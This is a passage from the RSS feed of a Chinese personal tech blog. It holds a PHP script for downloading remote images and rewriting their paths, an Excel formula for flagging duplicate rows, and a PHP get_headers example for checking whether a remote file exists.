移除数组中重复的值，$img_array[2]到现在没有高清楚，猜想可能是取出二维数组中的某组。</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_r($img_array); //测试匹配到的内容</span><span style="color: Gray;"><br /></span><span style="color: Blue;">set_time_limit</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//限定最大执行时间</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #ffa500;">//开始保存匹配内容中图片，修改名称并保存的本地文件夹中</span><span style="color: Gray;"><br /></span><span style="color: Green;">foreach</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$img_array</span><span style="color: Gray;"> </span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$key</span><span style="color: Gray;"> =&gt; </span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: #ffa500;">//使用循环语句把匹配到的数组内容(图片)进行一一处理</span><span style="color: Gray;"><br /></span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: #00008b;">$get_file</span><span style="color: Gray;"> = </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//开始获取图片了哦 使用file_get_contents得到文件</span><span style="color: Gray;"><br /></span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Blue;">dir</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">出错</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$filetime</span><span style="color: Gray;"> = </span><span style="color: Blue;">time</span><span style="color: Olive;">()</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//得到时间戳</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$filepath</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">pic2/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Ym</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$filetime</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//图片保存的路径目录 </span><span style="color: Gray;"><br />!</span><span style="color: Blue;">is_dir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filepath</span><span style="color: Olive;">)</span><span style="color: Gray;"> ? </span><span style="color: Blue;">mkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filepath</span><span style="color: Olive;">)</span><span style="color: Gray;"> : </span><span style="color: Green;">null</span><span style="color: Gray;">;&nbsp; </span><span style="color: #ffa500;">//如果目录不存在，则创建目录，注意：要有相应的目录权限。</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$filename</span><span style="color: Gray;"> = </span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">YmdHis</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$filetime</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">rand</span><span style="color: Olive;">(</span><span style="color: Maroon;">100</span><span style="color: Gray;">,</span><span style="color: Maroon;">999</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">.</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Gray;">,-</span><span style="color: Maroon;">3</span><span style="color: Gray;">,</span><span style="color: Maroon;">3</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//生成文件名，rand(100,999)的作用是防止文件名重复</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$fp</span><span style="color: Gray;"> = @</span><span style="color: Blue;">fopen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filepath</span><span style="color: Gray;">.</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">w</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//以写方式打开文件</span><span style="color: Gray;"><br />@</span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: #00008b;">$get_file</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//</span><span style="color: Gray;"><br /></span><span style="color: Blue;">fclose</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//完工，哈 </span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$content1</span><span style="color: Gray;"> = </span><span style="color: Blue;">preg_replace</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">addcslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$value</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/isU</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">pic2/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Ym</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$filetime</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">, </span><span style="color: #00008b;">$content1</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; </span><span style="color: #ffa500;">//顺便替换一下文章里面的图片地址</span><span style="color: Gray;"><br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$value1</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">=&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">pic2/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">date</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">Ym</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #00008b;">$filetime</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;br&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;&nbsp; </span><span style="color: #ffa500;">//测试图片复制前后，路径是否正常。</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"> <br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;hr&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$content1</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//可把$content1存入数据库</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/916.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用excel删除重复数据</title>
		<link>http://www.baizoo.cn/archives/785.html</link>
		<comments>http://www.baizoo.cn/archives/785.html#comments</comments>
		<pubDate>Sat, 21 Nov 2009 17:01:49 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[Excel]]></category>
		<category><![CDATA[删除重复]]></category>
		<category><![CDATA[技巧]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=785</guid>
		<description><![CDATA[整理一些数据的时候，遇到重复条目怎么办。顺序排列，然后一条条删么？这显然太费劲了。使用excel就可以简单实现这个需求。 将数据复制粘贴到A列中，在B1列中输入下面公式： =IF(COUNTIF(A$1:A1,A1)=1,&#34;保留&#34;,&#34;删除&#34;) 向下复制B列的公式，然后排序一下，将B列显示删除的行删除即可。如果是多列数据，同样可以使用上面方法，只是改一下公式中所需整理列的列名标签。]]></description>
			<content:encoded><![CDATA[<p>整理一些数据的时候，遇到重复条目怎么办。顺序排列，然后一条条删么？这显然太费劲了。使用excel就可以简单实现这个需求。</p>
<p>将数据复制粘贴到A列中，在B1列中输入下面公式：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Gray;">=</span><span style="color: Blue;">IF</span><span style="color: Olive;">(</span><span style="color: Blue;">COUNTIF</span><span style="color: Olive;">(</span><span style="color: Blue;">A</span><span style="color: Gray;">$</span><span style="color: Maroon;">1</span><span style="color: Gray;">:</span><span style="color: Blue;">A1</span><span style="color: Gray;">,</span><span style="color: Blue;">A1</span><span style="color: Olive;">)</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">保留</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">删除</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span></div></div>
<p>向下复制B列的公式，然后排序一下，将B列显示删除的行删除即可。如果是多列数据，同样可以使用上面方法，只是改一下公式中所需整理列的列名标签。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/785.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get_headers判断远程文件是否存在-PHP</title>
		<link>http://www.baizoo.cn/archives/469.html</link>
		<comments>http://www.baizoo.cn/archives/469.html#comments</comments>
		<pubDate>Thu, 09 Apr 2009 12:53:19 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[get_headers]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[函数]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=469</guid>
		<description><![CDATA[判断网页文件是否存在的方法倒是很多，asp版的可以看我前两篇文章介绍的方法，FSO方法和XMLHTTP方法,这里有一个php版的，摘录并了解一下get_headers函数。 &#60;?php$url = 'http://www.baizoo.cn/index.php';if (get_headers($url)&#60;&#62;false){&#160;&#160; echo &#34;文件存在&#34;;}&#160;else&#160;{&#160;&#160; echo &#34;文件不存在&#34;;&#160;}//print_r(get_headers($url, 1));?&#62; 补充说明： get_headers函数说明：取得服务器响应一个HTTP 请求所发送的所有标头 array get_headers ( string $url [, int $format ] ) get_headers() 返回一个数组，包含有服务器响应一个 HTTP 请求所发送的标头。如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息。 如果将可选的 format 参数设为 1，则 get_headers() 会解析相应的信息并设定数组的键名。 举例：get_headers()函数使用例子 上例的输出类似于： Array ( [0] => HTTP/1.1 200 OK [1] => Date: Sat, 29 May 2004 12:28:13 GMT [...]]]></description>
			<content:encoded><![CDATA[<p>判断网页文件是否存在的方法倒是很多，asp版的可以看我前两篇文章介绍的方法，<a href="http://www.baizoo.cn/archives/465.html">FSO方法</a>和<a href="http://www.baizoo.cn/archives/454.html">XMLHTTP方法</a>,这里有一个php版的，摘录并了解一下get_headers函数。</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">http://www.baizoo.cn/index.php</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;<br /></span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">get_headers</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">&lt;&gt;</span><span style="color: Green;">false</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">文件存在</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"><br />&nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">文件不存在</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//print_r(get_headers($url, 1));</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>补充说明：<br />
get_headers函数说明：取得服务器响应一个HTTP 请求所发送的所有标头</p>
<p>array get_headers ( string $url [, int $format ] )</p>
<p>get_headers() 返回一个数组，包含有服务器响应一个 HTTP 请求所发送的标头。如果失败则返回 FALSE 并发出一条 E_WARNING 级别的错误信息。<span id="more-469"></span></p>
<p>如果将可选的 format 参数设为 1，则 get_headers() 会解析相应的信息并设定数组的键名。<br />
举例：get_headers()函数使用例子<br />
<?php<br />
$url = 'http://www.example.com';</p>
<p>print_r(get_headers($url));</p>
<p>print_r(get_headers($url, 1));<br />
?><br />
上例的输出类似于：<br />
Array<br />
(<br />
    [0] => HTTP/1.1 200 OK<br />
    [1] => Date: Sat, 29 May 2004 12:28:13 GMT<br />
    [2] => Server: Apache/1.3.27 (Unix)  (Red-Hat/Linux)<br />
    [3] => Last-Modified: Wed, 08 Jan 2003 23:11:55 GMT<br />
    [4] => ETag: &#8220;3f80f-1b6-3e1cb03b&#8221;<br />
    [5] => Accept-Ranges: bytes<br />
    [6] => Content-Length: 438<br />
    [7] => Connection: close<br />
    [8] => Content-Type: text/html<br />
)</p>
<p>Array<br />
(<br />
    [0] => HTTP/1.1 200 OK<br />
    [Date] => Sat, 29 May 2004 12:28:14 GMT<br />
    [Server] => Apache/1.3.27 (Unix)  (Red-Hat/Linux)<br />
    [Last-Modified] => Wed, 08 Jan 2003 23:11:55 GMT<br />
    [ETag] => &#8220;3f80f-1b6-3e1cb03b&#8221;<br />
    [Accept-Ranges] => bytes<br />
    [Content-Length] => 438<br />
    [Connection] => close<br />
    [Content-Type] => text/html<br />
)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/469.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
